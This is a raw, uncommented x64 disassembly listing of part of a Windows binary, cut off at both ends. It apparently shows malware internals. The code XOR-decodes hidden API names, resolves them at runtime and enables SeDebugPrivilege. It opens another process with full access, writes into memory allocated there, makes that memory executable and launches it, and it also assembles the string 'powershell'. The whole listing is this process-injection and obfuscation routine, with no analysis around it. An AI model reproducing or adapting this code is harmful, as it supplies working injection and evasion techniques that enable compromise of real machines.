lea r8, [rdx + 0x10]
cmp r8, 0x13
ja 0x14000a8f2
movzx r8d, byte [rdx + rcx + 0x12]
shl r8d, 0x10
movzx r9d, word [rdx + rcx + 0x10]
add r8d, r9d
add r8d, 0x44000000
xor r8d, dword [rax + rdx + 0xfa92]
mov dword [rsp + rdx + 0x190], r8d
add rdx, 4
jmp 0x14000a8b8
movzx eax, word [rax + 0xfa96]
xor eax, 0xd296
mov word [rsp + 0x194], ax
movdqa xmm0, xmmword [rsp + 0x180]
lea rdx, [rsp + 0x5f0]
movdqa xmmword [rdx], xmm0
mov rax, qword [rsp + 0x18e]
mov qword [rdx + 0xe], rax
mov rcx, r15
call sub.kernel32.dll_GetProcAddress
mov qword [rsp + 0xc8], rax
lea rax, [0x1400cfc7a]
mov qword [rsp + 0x180], rax
mov rax, qword [rsp + 0x180]
and dword [rsp + 0x190], 0
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x180], xmm0
xor edx, edx
lea rcx, [0x1400d57f6]
cmp rdx, 0x10
jae 0x14000a98c
mov r8, qword [rdx + rcx]
xor r8, qword [rax + rdx + 0x5d6e]
mov qword [rsp + rdx + 0x180], r8
add rdx, 8
jmp 0x14000a96c
xor edx, edx
lea r8, [rdx + 0x10]
cmp r8, 0x13
ja 0x14000a9c8
movzx r8d, byte [rdx + rcx + 0x12]
shl r8d, 0x10
movzx r9d, word [rdx + rcx + 0x10]
add r8d, r9d
add r8d, 0x57000000
xor r8d, dword [rax + rdx + 0x5d7e]
mov dword [rsp + rdx + 0x190], r8d
add rdx, 4
jmp 0x14000a98e
movzx eax, word [rax + 0x5d82]
xor eax, 0x6345
mov word [rsp + 0x194], ax
movdqa xmm0, xmmword [rsp + 0x180]
lea rdx, [rsp + 0x5f0]
movdqa xmmword [rdx], xmm0
mov rax, qword [rsp + 0x18e]
mov qword [rdx + 0xe], rax
mov rcx, r15
call sub.kernel32.dll_GetProcAddress
lea rcx, [0x1400c7fc8]
mov qword [rsp + 0x180], rcx
mov rcx, qword [rsp + 0x180]
and dword [rsp + 0x188], 0
mov qword [rsp + 0xc0], rax
and qword [rsp + 0x180], 0
mov r9b, 1
xor r8d, r8d
lea rax, [0x1400d580c]
push 8
pop rdx
test r9b, 1
je 0x14000aaf3
movzx r10d, byte [r8 + rax]
mov r9, r8
or r9, 1
movzx r9d, byte [r9 + rax]
mov r11, r8
or r11, 2
movzx r11d, byte [r11 + rax]
mov rdi, r8
or rdi, 3
movzx edi, byte [rdi + rax]
mov rbx, r8
or rbx, 4
movzx ebx, byte [rbx + rax]
mov r14, r8
or r14, 5
movzx r14d, byte [r14 + rax]
mov r12, r8
or r12, 6
mov r13, r8
or r13, 7
movzx r12d, byte [r12 + rax]
movzx r13d, byte [r13 + rax]
shl r13, 0x38
shl r12, 0x30
or r12, r13
shl r14, 0x28
shl rbx, 0x20
shl rdi, 0x18
shl r11, 0x10
shl r9, 8
or r9, r10
or r9, r11
or r9, rdi
or r9, rbx
or r9, r14
or r9, r12
xor r9, qword [rcx + r8 + 0xda36]
mov qword [rsp + r8 + 0x180], r9
xor r9d, r9d
mov r8, rdx
jmp 0x14000aa45
xor edx, edx
lea r8, [rdx + 8]
cmp r8, 0xb
ja 0x14000ab2f
movzx r8d, byte [rdx + rax + 0xa]
shl r8d, 0x10
movzx r9d, word [rdx + rax + 8]
add r8d, r9d
add r8d, 0xc3000000
xor r8d, dword [rcx + rdx + 0xda3e]
mov dword [rsp + rdx + 0x188], r8d
add rdx, 4
jmp 0x14000aaf5
mov al, byte [rcx + 0xda42]
xor al, 0x6f
mov byte [rsp + 0x18c], al
mov rax, qword [rsp + 0x180]
lea rdx, [rsp + 0x5f0]
mov qword [rdx], rax
mov rax, qword [rsp + 0x185]
mov qword [rdx + 5], rax
mov rcx, rsi
call sub.kernel32.dll_GetProcAddress
lea rcx, [0x1400d011e]
mov qword [rsp + 0x180], rcx
mov rcx, qword [rsp + 0x180]
and dword [rsp + 0x188], 0
mov r12, rax
and qword [rsp + 0x180], 0
mov r9b, 1
xor edx, edx
lea rax, [0x1400d5819]
push 8
pop r15
test r9b, 1
je 0x14000ac4e
movzx r10d, byte [rdx + rax]
mov r9, rdx
or r9, 1
movzx r9d, byte [r9 + rax]
mov r11, rdx
or r11, 2
movzx r11d, byte [r11 + rax]
mov rdi, rdx
or rdi, 3
movzx edi, byte [rdi + rax]
mov rbx, rdx
or rbx, 4
movzx ebx, byte [rbx + rax]
mov r14, rdx
or r14, 5
movzx r14d, byte [r14 + rax]
mov r13, rdx
or r13, 6
mov r8, rdx
or r8, 7
movzx r13d, byte [r13 + rax]
movzx r8d, byte [r8 + rax]
shl r8, 0x38
shl r13, 0x30
or r13, r8
shl r14, 0x28
shl rbx, 0x20
shl rdi, 0x18
shl r11, 0x10
shl r9, 8
or r9, r10
or r9, r11
or r9, rdi
or r9, rbx
or r9, r14
or r9, r13
xor r9, qword [rcx + rdx + 0x58ed]
mov qword [rsp + rdx + 0x180], r9
xor r9d, r9d
mov rdx, r15
jmp 0x14000aba0
xor edx, edx
lea r8, [rdx + 8]
cmp r8, 0xb
ja 0x14000ac8a
movzx r8d, byte [rdx + rax + 0xa]
shl r8d, 0x10
movzx r9d, word [rdx + rax + 8]
add r8d, r9d
add r8d, 0x88000000
xor r8d, dword [rcx + rdx + 0x58f5]
mov dword [rsp + rdx + 0x188], r8d
add rdx, 4
jmp 0x14000ac50
lea r13, [rsp + 0x180]
mov eax, dword [r13 + 8]
lea rbx, [rsp + 0x5f0]
mov dword [rbx + 8], eax
mov rax, qword [r13]
mov qword [rbx], rax
mov rcx, rsi
mov rdx, rbx
call sub.kernel32.dll_GetProcAddress
mov rsi, rax
lea rdi, [rsp + 0x890]
and qword [rdi], 0
call qword [rsp + 0x98]
push 0x28
pop rdx
mov rcx, rax
mov r8, rdi
call qword [rsp + 0xb0]
movdqa xmm0, xmmword [0x1400a66b0]
movdqu xmmword [rbx], xmm0
lea rbx, [rsp + 0x5f4]
lea rdx, str.SeDebugPrivilege_t
push 0x10
pop r8
mov rcx, r13
call fcn.140081982
mov r14, qword [r13]
xor ecx, ecx
mov rdx, r14
mov r8, rbx
call qword [rsp + 0xc8]
mov rdx, qword [r13 + 8]
mov rcx, r14
call fcn.140085aa1
mov rcx, qword [rdi]
xorps xmm6, xmm6
movups xmmword [rsp + 0x20], xmm6
lea r8, [rsp + 0x5f0]
push 0x10
pop r9
xor edx, edx
call qword [rsp + 0xc0]
call r12
cmp eax, 0x514
jne 0x14000b1c5
lea rax, [0x1400cc064]
mov qword [rsp + 0x180], rax
mov rax, qword [rsp + 0x180]
movups xmmword [rsp + 0x18c], xmm6
movaps xmmword [rsp + 0x180], xmm6
xor edx, edx
lea rcx, [0x1400d58f5]
mov r13, qword [rsp + 0xa8]
cmp rdx, 0x18
jae 0x14000b341
mov r8, qword [rdx + rcx]
xor r8, qword [rax + rdx + 0x9a85]
mov qword [rsp + rdx + 0x180], r8
add rdx, 8
jmp 0x14000ad85
xor ecx, ecx
call fcn.14008a22e
lea rcx, [rsp + 0x180]
mov qword [rcx], rax
call fcn.14008577b
mov rax, qword [rsp + 0xe8]
mov rcx, qword [rax + 0x10]
test rcx, rcx
je 0x14000adda
add rcx, 0x10
call fcn.14008a0ac
push 0x58
pop rcx
push 8
pop rdx
call fcn.140004c22
mov qword [rax], r13
mov qword [rax + 8], r14
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], r15
mov qword [rax + 0x28], rsi
mov qword [rax + 0x30], r12
mov qword [rax + 0x38], rsi
movdqa xmm0, xmmword [rsp + 0x890]
movdqu xmmword [rax + 0x40], xmm0
mov rcx, qword [rsp + 0x128]
mov qword [rax + 0x50], rcx
lea r8, [0x1400a67c0]
mov rcx, qword [rsp + 0x90]
mov rdx, rax
call fcn.14008a272
test rax, rax
jne 0x14000d78d
mov rax, qword [rsp + 0x150]
mov rcx, qword [rsp + 0xe8]
lea rsi, [rsp + 0x188]
mov qword [rsi - 8], rax
mov qword [rsi], rcx
mov qword [rsi + 8], rdx
mov rcx, rdx
call qword [sym.imp.kernel32.dll_CloseHandle]
lea rcx, [rsp + 0x180]
call fcn.140092c2c
mov rcx, rsi
call fcn.14007eead
lea rsi, [rsp + 0x180]
mov rcx, rsi
mov rdx, qword [rsp + 0xc8]
mov r8, qword [rsp + 0xa8]
call fcn.14000d86d
mov rdi, qword [rsi]
lea r14, [rsp + 0xae0]
mov qword [rsp + 0x48], r14
lea rax, [rsp + 0x5f0]
mov qword [rsp + 0x40], rax
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], 1
xor ecx, ecx
mov rdx, rdi
xor r8d, r8d
xor r9d, r9d
call qword [rsp + 0xe0]
mov rdx, qword [rsi + 8]
mov rcx, rdi
call fcn.140085aa1
mov rsi, qword [r14]
call fcn.14001df04
test rax, rax
mov r14, qword [rsp + 0xc0]
je 0x14000d7a7
mov dword [rsp + 0x20], 4
mov rcx, rsi
xor edx, edx
mov r8, r14
mov r9d, 0x1000
call rax
mov rdi, rax
and qword [rsp + 0x878], 0
call fcn.14001e0c4
test rax, rax
je 0x14000d7a7
lea rcx, [rsp + 0x878]
mov qword [rsp + 0x20], rcx
mov rcx, rsi
mov rdx, rdi
mov r8, qword [rsp + 0x98]
mov r9, r14
call rax
and dword [rsp + 0x14c], 0
call fcn.14001e05e
test rax, rax
je 0x14000d7a7
mov edx, 0x180
lea rcx, [r12 + 0x188]
mov qword [rsp + 0xc8], rcx
add qword [rsp + 0xb0], r15
add rdx, r15
mov qword [rsp + 0xa8], rdx
lea rcx, [rsp + 0x14c]
mov qword [rsp + 0x20], rcx
push 0x20
pop r9
mov rcx, rsi
mov rdx, rdi
mov r8, r14
call rax
mov rdx, qword [rsp + 0xae8]
mov rcx, rdi
xor r8d, r8d
call qword [rsp + 0x118]
mov rcx, qword [rsp + 0xae8]
call qword [rsp + 0x120]
mov rcx, rsi
mov rsi, qword [rsp + 0xd0]
call rsi
mov rcx, qword [rsp + 0x860]
call rsi
mov rcx, qword [rsp + 0x170]
call rsi
lea rsi, [rsp + 0x114]
and dword [rsp + 0x114], 0
mov rcx, qword [rsp + 0xae8]
mov rdx, rsi
call rbx
cmp dword [rsp + 0x114], 0x103
je 0x14000b006
lea rax, [rsp + 0x180]
and dword [rax], 0
mov rax, r15
sub rax, 0xffffffffffffff80
mov qword [rsp + 0x90], rax
mov rsi, qword [r15 + 0x80]
mov rdi, qword [r15 + 0x88]
push 8
pop r14
xor ebx, ebx
test sil, 1
jne 0x14000b131
mov r13d, esi
shr r13d, 1
and r13d, 0x1f
cmp r13d, 0x1f
jne 0x14000b082
lea rcx, [rsp + 0x180]
call fcn.1400024ec
jmp 0x14000b111
cmp r13d, 0x1e
jne 0x14000b0b4
test rbx, rbx
jne 0x14000b0b4
mov ecx, 0x1f8
mov rdx, r14
call fcn.140004c22
mov rbx, rax
mov r8d, 0x1f8
mov rcx, rax
xor edx, edx
call sub.VCRUNTIME140.dll_memset
xor ecx, ecx
call fcn.140003c3a
test rdi, rdi
jne 0x14000b0ea
mov ecx, 0x1f8
mov rdx, r14
call fcn.140004c22
mov rdi, rax
mov r8d, 0x1f8
mov rcx, rax
xor edx, edx
call sub.VCRUNTIME140.dll_memset
xor eax, eax
lock cmpxchg qword [r15 + 0x88], rdi
jne 0x14000b124
mov qword [r15 + 8], rdi
lea rcx, [rsi + 2]
mov rax, rsi
mov rdx, qword [rsp + 0x90]
lock cmpxchg qword [rdx], rcx
je 0x14000b3e8
lea rcx, [rsp + 0x180]
call fcn.140002520
mov rsi, qword [r15 + 0x80]
mov rdi, qword [r15 + 0x88]
jmp 0x14000b056
mov rcx, rbx
call fcn.140003c3a
mov rbx, rdi
jmp 0x14000b111
xor edi, edi
xor r13d, r13d
mov rcx, rbx
call fcn.140003c3a
test rdi, rdi
jne 0x14000b416
jmp 0x14000b433
lea rax, [0x1400c99c2]
mov qword [rsp + 0x180], rax
mov rax, qword [rsp + 0x180]
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x180], xmm0
xor ecx, ecx
lea rdx, [0x1400d5912]
cmp rcx, 0xf
ja 0x14000b199
mov r8, qword [rcx + rdx]
xor r8, qword [rax + rcx + 0xc115]
mov qword [rsp + rcx + 0x180], r8
add rcx, 8
jmp 0x14000b179
movzx eax, word [rax + 0xc125]
xor eax, 0x7b73
movdqa xmm0, xmmword [rsp + 0x180]
lea rdx, [rsp + 0x5f0]
movdqa xmmword [rdx], xmm0
mov word [rdx + 0x10], ax
push 0x12
jmp 0x14000b3d9
mov rcx, qword [rsp + 0x890]
call rsi
mov rcx, qword [rsp + 0xe8]
lea rdx, [rsp + 0x180]
push 0x48
pop r8
call qword [rsp + 0x128]
test eax, eax
mov r13, qword [rsp + 0xa8]
je 0x14000b304
mov edi, 0x500000
add rdi, qword [rsp + 0x190]
call fcn.140082020
mov qword [rsp + 0x98], rax
test rax, rax
je 0x14000d7a7
lea rax, [0x1400d4c1e]
mov qword [rsp + 0x5f0], rax
mov rax, qword [rsp + 0x5f0]
and dword [rsp + 0x5f8], 0
and qword [rsp + 0x5f0], 0
mov r9b, 1
xor r8d, r8d
lea rcx, [0x1400d574d]
push 8
pop rdx
test r9b, 1
je 0x14000bf95
movzx r10d, byte [r8 + rcx]
mov r9, r8
or r9, 1
movzx r9d, byte [r9 + rcx]
mov r11, r8
or r11, 2
movzx r11d, byte [r11 + rcx]
mov rsi, r8
or rsi, 3
movzx ebx, byte [rsi + rcx]
mov rsi, r8
or rsi, 4
movzx r14d, byte [rsi + rcx]
mov rsi, r8
or rsi, 5
movzx r15d, byte [rsi + rcx]
mov rsi, r8
or rsi, 6
mov r13, r8
or r13, 7
movzx r12d, byte [rsi + rcx]
movzx esi, byte [r13 + rcx]
shl rsi, 0x38
shl r12, 0x30
or r12, rsi
shl r15, 0x28
shl r14, 0x20
shl rbx, 0x18
shl r11, 0x10
shl r9, 8
or r9, r10
or r9, r11
or r9, rbx
or r9, r14
or r9, r15
or r9, r12
xor r9, qword [rax + r8 + 0xd21]
mov qword [rsp + r8 + 0x5f0], r9
xor r9d, r9d
mov r8, rdx
jmp 0x14000b255
lea rdx, [0x1400fb828]
mov rcx, qword [rsp + 0x88]
xor r8d, r8d
call fcn.140011183
mov rax, qword [rsp + 0xb8]
test r13, r13
je 0x14000c613
push 8
pop rdx
mov rcx, qword [rsp + 0xa0]
call fcn.1400107b0
jmp 0x14000c60b
xor edx, edx
lea r8, [rdx + 0x18]
cmp r8, 0x1b
ja 0x14000b37d
movzx r8d, byte [rdx + rcx + 0x1a]
shl r8d, 0x10
movzx r9d, word [rdx + rcx + 0x18]
add r8d, r9d
add r8d, 0xe7000000
xor r8d, dword [rax + rdx + 0x9a9d]
mov dword [rsp + rdx + 0x198], r8d
add rdx, 4
jmp 0x14000b343
mov al, byte [rax + 0x9aa1]
xor al, 0xb5
mov byte [rsp + 0x19c], al
movdqa xmm0, xmmword [rsp + 0x180]
lea rdx, [rsp + 0x5f0]
movdqa xmmword [rdx], xmm0
mov rax, qword [rsp + 0x18d]
mov qword [rdx + 0xd], rax
mov eax, dword [rsp + 0x195]
mov dword [rdx + 0x15], eax
movzx eax, word [rsp + 0x199]
mov word [rdx + 0x19], ax
mov al, byte [rsp + 0x19b]
mov byte [rdx + 0x1b], al
mov al, byte [rsp + 0x19c]
mov byte [rdx + 0x1c], al
push 0x1d
pop r8
mov rcx, qword [rsp + 0x88]
jmp 0x14000b316
cmp r13d, 0x1e
jne 0x14000b136
test rbx, rbx
je 0x14000d7a7
mov qword [r15 + 0x88], rbx
lock add qword [r15 + 0x80], 2
mov qword [rdi + 0x1f0], rbx
push 0x1e
pop r13
shl r13, 4
mov byte [rdi + r13 + 8], 1
lock or qword [rdi + r13], 1
mov rcx, qword [rsp + 0xb0]
call fcn.1400028a5
lea rax, [rsp + 0xe8]
mov dword [rax + 8], 0x3b9aca00
mov rbx, r12
sub rbx, 0xffffffffffffff80
pxor xmm0, xmm0
and qword [rsp + 0x1a0], 0
movdqa xmmword [rsp + 0x190], xmm0
movdqa xmmword [rsp + 0x180], xmm0
lea rdi, [rsp + 0x890]
and dword [rsp + 0x890], 0
mov rax, qword [r12]
mov r14, qword [r12 + 8]
mov rcx, rax
shr rcx, 1
mov r13d, ecx
and r13d, 0x1f
cmp r13, 0x1f
je 0x14000b4d7
lea rsi, [rax + 2]
test al, 1
jne 0x14000b4bc
mfence
mov rdx, qword [rbx]
mov r8, rdx
shr r8, 1
cmp rcx, r8
je 0x14000b4e1
xor rdx, rax
xor ecx, ecx
cmp rdx, 0x40
setae cl
or rsi, rcx
test r14, r14
je 0x14000b4d7
lock cmpxchg qword [r12], rsi
je 0x14000b5c4
mov rcx, rdi
call fcn.140002520
jmp 0x14000b478
mov rcx, rdi
call fcn.1400024ec
jmp 0x14000b478
test dl, 1
jne 0x14000b6f8
mov r14d, dword [rsp + 0xf0]
cmp r14d, 0x3b9aca00
je 0x14000b51e
mov r13, qword [rsp + 0xe8]
call fcn.14008a9a3
mov rcx, rax
mov r8, r13
mov r9d, r14d
call fcn.1400030f5
test al, al
jne 0x14000b6f8
lea rax, [rsp + 0x180]
mov qword [rsp + 0x890], rax
mov qword [rsp + 0x898], r12
lea rax, [rsp + 0xe8]
mov qword [rsp + 0x8a0], rax
call fcn.140003074
test rax, rax
je 0x14000b597
mov r14, rax
mov r13, qword [rax]
and qword [rax], 0
test r13, r13
je 0x14000b597
mov qword [rsp + 0x150], r13
mov qword [r13 + 0x18], 0
mov qword [r13 + 0x20], 0
mov rcx, rdi
lea rdx, [rsp + 0x150]
call fcn.140002a5e
mov rcx, r14
mov rdx, r13
call fcn.140004953
jmp 0x14000b470
call fcn.1400a4fc6
mov qword [rsp + 0x150], rax
mov rcx, rdi
lea rsi, [rsp + 0x150]
mov rdx, rsi
call fcn.140002a5e
mov rcx, rsi
call fcn.1400043b0
jmp 0x14000b470
cmp r13d, 0x1e
jne 0x14000b5f6
mov rcx, r14
call fcn.140001e1e
and rsi, 0xfffffffffffffffe
mov rcx, qword [rax + 0x3e0]
xor edx, edx
test rcx, rcx
setne dl
lea rcx, [rsi + rdx]
add rcx, 2
mov qword [r12 + 8], rax
mov qword [r12], rcx
mov qword [rsp + 0x190], r14
mov qword [rsp + 0x198], r13
mov rdi, r13
shl rdi, 5
lea rcx, [r14 + rdi]
call fcn.140001dc6
mov r9, qword [r14 + rdi]
mov dl, byte [r14 + rdi + 8]
movzx r11d, word [r14 + rdi + 0xd]
movzx ecx, byte [r14 + rdi + 0xf]
mov esi, dword [r14 + rdi + 9]
mov rax, qword [r14 + rdi + 0x10]
mov qword [rsp + 0xc0], rax
inc r13
cmp r13, 0x1f
mov dword [rsp + 0xe0], ecx
jne 0x14000b652
xor r13d, r13d
jmp 0x14000b66f
lea rcx, [r14 + rdi]
add rcx, 0x18
mov rax, qword [rcx]
mov r8, rax
or r8, 2
lock cmpxchg qword [rcx], r8
jne 0x14000b65d
test al, 4
je 0x14000b6ca
cmp r13, 0x1e
jae 0x14000b6b0
lea rcx, [r13 + 1]
mov rax, r13
shl rax, 5
mov r8, qword [r14 + rax + 0x18]
mov r13, rcx
test r8b, 2
jne 0x14000b66f
lea r10, [r14 + rax]
add r10, 0x18
mov rax, qword [r10]
mov r8, rax
or r8, 4
lock cmpxchg qword [r10], r8
jne 0x14000b699
mov r13, rcx
test al, 2
jne 0x14000b66f
jmp 0x14000b6ca
mov rcx, r14
mov rdi, r9
mov r14, rdx
mov r13, r11
call fcn.14000323b
mov r11, r13
mov rdx, r14
mov r9, rdi
test r9, r9
je 0x14000b6f8
mov eax, dword [rsp + 0xe0]
shl eax, 0x10
or r11d, eax
shl r11, 0x20
or rsi, r11
mov r13, qword [rsp + 0x108]
mov rdi, qword [rsp + 0xc0]
jmp 0x14000b7dc
mov r13, qword [rsp + 0x108]
lea rax, [0x14009adff]
mov qword [rsp + 0x180], rax
mov rax, qword [rsp + 0x180]
and dword [rsp + 0x190], 0
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x180], xmm0
xor edx, edx
lea rcx, [0x1400a6a71]
cmp rdx, 0x10
jae 0x14000b755
mov r8, qword [rdx + rcx]
xor r8, qword [rax + rdx + 0xbf31]
mov qword [rsp + rdx + 0x180], r8
add rdx, 8
jmp 0x14000b735
xor edx, edx
lea r8, [rdx + 0x10]
cmp r8, 0x13
ja 0x14000b791
movzx r8d, byte [rdx + rcx + 0x12]
shl r8d, 0x10
movzx r9d, word [rdx + rcx + 0x10]
add r8d, r9d
add r8d, 0x69000000
xor r8d, dword [rax + rdx + 0xbf41]
mov dword [rsp + rdx + 0x190], r8d
add rdx, 4
jmp 0x14000b757
mov eax, dword [rsp + 0x190]
mov dword [rsp + 0x8a0], eax
movaps xmm0, xmmword [rsp + 0x180]
movaps xmmword [rsp + 0x890], xmm0
push 0x14
pop rdi
mov rcx, rdi
call fcn.1400862c7
mov r9, rax
movdqa xmm0, xmmword [rsp + 0x890]
movdqu xmmword [rax], xmm0
mov eax, dword [rsp + 0x8a0]
mov dword [r9 + 0x10], eax
mov rsi, rdx
shr rsi, 8
mov rcx, qword [rsp + 0x88]
mov qword [rcx], r9
mov byte [rcx + 8], dl
mov dword [rcx + 9], esi
mov rax, rsi
shr rax, 0x30
mov byte [rcx + 0xf], al
shr rsi, 0x20
mov word [rcx + 0xd], si
mov qword [rcx + 0x10], rdi
mov rax, qword [rsp + 0xa8]
lock dec qword [rax]
jne 0x14000b843
mov rax, qword [rsp + 0x90]
lock bts qword [rax], 0
jb 0x14000b82e
mov rcx, qword [rsp + 0xb0]
call fcn.1400027da
mov al, 1
xchg byte [r15 + 0x190], al
test al, al
je 0x14000b843
mov rcx, r15
call fcn.140003134
mov rax, qword [rsp + 0xc8]
lock dec qword [rax]
jne 0x14000c5e6
lock bts qword [rbx], 0
jb 0x14000c5d0
lea rsi, [rsp + 0x180]
and dword [rsi], 0
mov r14, qword [rbx]
mov eax, r14d
not eax
test al, 0x3e
jne 0x14000c530
mov rcx, rsi
call fcn.1400024ec
jmp 0x14000b86c
mov byte [rsp + 0x890], bh
pxor xmm0, xmm0
lea rdx, [rsp + 0x180]
mov qword [rdx + 0x30], 0x20
mov byte [rdx + 0x38], 3
and qword [rdx], 0
movdqu xmmword [rsp + 0x5f8], xmm0
and qword [rdx + 0x10], 0
mov qword [rsp + 0x5f0], 1
mov qword [rdx + 0x20], r12
lea rax, [0x1400a67e0]
mov qword [rdx + 0x28], rax
lea rcx, [rsp + 0x890]
call fcn.140018de8
test al, al
jne 0x14000d7a7
mov rax, qword [rsp + 0x600]
mov rcx, qword [rsp + 0x88]
mov qword [rcx + 0x10], rax
movdqu xmm0, xmmword [rsp + 0x5f0]
movdqu xmmword [rcx], xmm0
jmp 0x14000c520
lea rax, [0x1400a297e]
mov qword [rsp + 0x180], rax
mov rax, qword [rsp + 0x180]
and qword [rsp + 0x180], 0
mov r8b, 1
xor edi, edi
lea rcx, [0x1400a6b3c]
test r8b, 1
je 0x14000b9e7
movzx r9d, byte [rdi + rcx]
mov r8, rdi
or r8, 1
movzx r8d, byte [r8 + rcx]
mov r10, rdi
or r10, 2
movzx r10d, byte [r10 + rcx]
mov r11, rdi
or r11, 3
movzx r11d, byte [r11 + rcx]
mov rbx, rdi
or rbx, 4
movzx ebx, byte [rbx + rcx]
mov r12, rdi
or r12, 5
movzx r12d, byte [r12 + rcx]
mov r13, rdi
or r13, 6
mov rdx, rdi
or rdx, 7
movzx r13d, byte [r13 + rcx]
movzx edx, byte [rdx + rcx]
shl rdx, 0x38
shl r13, 0x30
or r13, rdx
shl r12, 0x28
shl rbx, 0x20
shl r11, 0x18
shl r10, 0x10
shl r8, 8
or r8, r9
or r8, r10
or r8, r11
or r8, rbx
or r8, r12
or r8, r13
xor r8, qword [rax + rdi + 0x4499]
mov qword [rsp + rdi + 0x180], r8
xor r8d, r8d
mov rdi, r15
jmp 0x14000b939
movzx eax, word [rax + 0x44a1]
xor eax, 0xe9a7
mov rcx, qword [rsp + 0x180]
lea rdi, [rsp + 0x5f0]
mov qword [rdi], rcx
mov word [rdi + 8], ax
mov r15, qword [rsp + 0xa0]
mov rcx, qword [r15]
mov rdx, qword [r15 + 8]
push 0xa
pop r9
mov r8, rdi
call fcn.14001282a
test al, al
je 0x14000c64c
mov rbx, qword [rsp + 0x138]
dec rsi
lea rdx, [r15 + 0x10]
lea r15, [rsp + 0xe8]
mov rcx, r15
mov r8, rsi
call fcn.140040a1b
push 0xa
pop rcx
call fcn.1400862c7
movabs rcx, 0x6568737265776f70
mov qword [rax], rcx
mov word [rax + 8], 0x6c6c
pxor xmm0, xmm0
lea r14, [rsp + 0x180]
movdqu xmmword [r14 + 0x98], xmm0
mov qword [r14 + 0x30], rax
mov qword [r14 + 0x38], rdx
mov qword [r14 + 0x40], 0xa
mov byte [r14 + 0x48], 0
mov qword [r14 + 0x90], 8
and qword [r14 + 0x50], 0
and qword [r14 + 0x60], 0
and word [r14 + 0x68], 0
mov byte [r14 + 0x88], 2
and dword [r14 + 0xc0], 0
and word [r14 + 0xc4], 0
push 6
pop rax
mov dword [r14], eax
mov dword [r14 + 0x10], eax
mov dword [r14 + 0x20], eax
and qword [r14 + 0xa8], 0
and qword [r14 + 0xb8], 0
mov rsi, qword [r15]
mov rax, qword [r15 + 0x10]
lea rcx, [0x1400a6ba1]
mov qword [rsp + 0x5f0], rcx
push 4
pop rcx
mov qword [rsp + 0x5f8], rcx
lea rdx, [0x1400a6b9a]
mov qword [rsp + 0x600], rdx
mov qword [rsp + 0x608], rcx
lea rcx, [0x1400a6b9e]
mov qword [rsp + 0x610], rcx
mov qword [rsp + 0x618], 2
lea rcx, [0x1400a6ba0]
mov qword [rsp + 0x620], rcx
mov qword [rsp + 0x628], 1
mov qword [rsp + 0x630], rsi
mov qword [rsp + 0x638], rax
push 8
pop r15
cmp r15, 0x58
je 0x14000c727
mov rdx, qword [rsp + r15 + 0x5e8]
mov r8, qword [rsp + r15 + 0x5f0]
mov rcx, r14
call fcn.140090cfd
add r15, 0x10
jmp 0x14000bb68
lea rsi, [rsp + 0x180]
mov dword [rsi + 0xc0], 0x8000000
lea rbx, [rsp + 0x5f0]
mov rcx, rbx
mov rdx, rsi
call fcn.14008d7d4
mov rcx, rsi
call fcn.140003f17
cmp qword [rbx], 0
je 0x14000c855
lea rsi, [rsp + 0x180]
lea rdx, [rsp + 0x5f0]
mov rcx, rsi
call fcn.140004c79
cmp byte [rsi + 0x20], 2
jne 0x14000d7a7
lea rdx, [rsp + 0x608]
lea rsi, [rsp + 0x180]
mov rax, qword [rsi + 0x10]
mov qword [rsp + 0xd40], rax
movups xmm0, xmmword [rsi]
movaps xmmword [rsp + 0xd30], xmm0
mov rcx, rsi
call fcn.140004c79
cmp byte [rsi + 0x20], 2
jne 0x14000d7a7
lea rdx, [rsp + 0x180]
mov rax, qword [rdx + 0x10]
lea rsi, [rsp + 0xae0]
mov qword [rsi + 0x10], rax
movdqu xmm0, xmmword [rdx]
movdqa xmmword [rsi], xmm0
lea rbx, [rsp + 0xd30]
lea rax, [rsp + 0x890]
mov qword [rax], rbx
lea rcx, [0x1400c1168]
mov qword [rdx], rcx
lea rcx, [0x140004f6b]
mov qword [rax + 8], rcx
push 2
pop r8
mov qword [rdx + 8], r8
and qword [rdx + 0x20], 0
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rcx
mov qword [rdx + 0x10], rax
mov qword [rdx + 0x18], r8
mov rcx, qword [rsp + 0x88]
call fcn.140004b3a
mov rcx, qword [rsi]
mov rdx, qword [rsi + 8]
call fcn.140010c6f
mov rcx, qword [rbx]
mov rdx, qword [rbx + 8]
jmp 0x14000c51b
xor edx, edx
mov rsi, qword [rsp + 0x90]
lea r8, [rdx + 8]
cmp r8, 0xb
ja 0x14000bcf0
movzx r8d, byte [rdx + rcx + 0xa]
shl r8d, 0x10
movzx r9d, word [rdx + rcx + 8]
add r8d, r9d
add r8d, 0xce000000
xor r8d, dword [rax + rdx + 0xd4c1]
mov dword [rsp + rdx + 0x188], r8d
add rdx, 4
jmp 0x14000bcb6
mov eax, dword [rsp + 0x188]
lea rcx, [rsp + 0x5f0]
mov dword [rcx + 8], eax
mov rax, qword [rsp + 0x180]
mov qword [rcx], rax
call fcn.14001dd7b
test rax, rax
je 0x14000d7a7
push 1
pop rdx
mov ecx, 0x1fffff
mov r8d, ebx
call rax
mov rbx, rax
call fcn.14001df04
test rax, rax
je 0x14000d7a7
mov dword [rsp + 0x20], 4
mov rcx, rbx
xor edx, edx
mov r8, r14
mov r9d, 0x1000
call rax
mov r12, rax
and qword [rsp + 0x890], 0
call fcn.14001e0c4
test rax, rax
je 0x14000d7a7
lea rcx, [rsp + 0x890]
mov qword [rsp + 0x20], rcx
mov rcx, rbx
mov rdx, r12
mov r8, rsi
mov r9, r14
call rax
and dword [rsp + 0xae0], 0
call fcn.14001e05e
test rax, rax
je 0x14000d7a7
lea rcx, [rsp + 0xae0]
mov qword [rsp + 0x20], rcx
push 0x20
pop r9
mov rcx, rbx
mov rdx, r12
mov r8, r14
call rax
lea rax, [0x1400aa215]
mov qword [rsp + 0x180], rax
mov rax, qword [rsp + 0x180]
and dword [rsp + 0x190], 0
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x180], xmm0
xor edx, edx
lea rcx, [0x1400ae4f6]
cmp rdx, 0x10
jae 0x14000be0d
mov r8, qword [rdx + rcx]
xor r8, qword [rax + rdx + 0x43a8]
mov qword [rsp + rdx + 0x180], r8
add rdx, 8
jmp 0x14000bded
xor edx, edx
lea r8, [rdx + 0x10]
